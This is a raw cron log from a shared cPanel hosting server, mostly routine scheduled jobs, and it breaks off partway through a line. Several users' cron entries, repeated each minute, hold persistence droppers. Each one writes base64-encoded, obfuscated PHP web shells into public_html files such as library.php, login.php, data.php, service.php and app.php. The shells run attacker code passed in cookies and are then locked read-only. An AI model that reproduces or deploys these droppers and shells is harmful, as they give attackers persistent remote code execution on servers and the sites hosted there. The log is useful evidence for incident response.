Mar  2 07:55:01 medusa CROND[23445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:55:01 medusa CROND[23447]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:55:01 medusa CROND[23453]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:55:01 medusa CROND[23446]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:55:01 medusa CROND[23455]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:55:01 medusa CROND[23456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:55:01 medusa CROND[23459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:55:01 medusa CROND[23461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:55:01 medusa CROND[23463]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:55:01 medusa CROND[23462]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:55:01 medusa CROND[23471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:55:01 medusa CROND[23464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:55:01 medusa CROND[23457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:55:01 medusa CROND[23468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:55:01 medusa CROND[23474]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:56:01 medusa CROND[5478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:56:01 medusa CROND[5593]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:56:01 medusa CROND[5595]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:56:01 medusa CROND[5594]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:56:01 medusa CROND[5599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:56:01 medusa CROND[5601]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:56:01 medusa CROND[5602]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:56:01 medusa CROND[5603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:56:01 medusa CROND[5604]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:56:01 medusa CROND[5607]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:56:01 medusa CROND[5600]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:56:01 medusa CROND[5619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:56:01 medusa CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:56:01 medusa CROND[5624]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:57:02 medusa CROND[27514]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:57:02 medusa CROND[27661]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:57:02 medusa CROND[27664]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:57:02 medusa CROND[27665]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:57:02 medusa CROND[27666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:57:02 medusa CROND[27667]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:57:02 medusa CROND[27668]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEH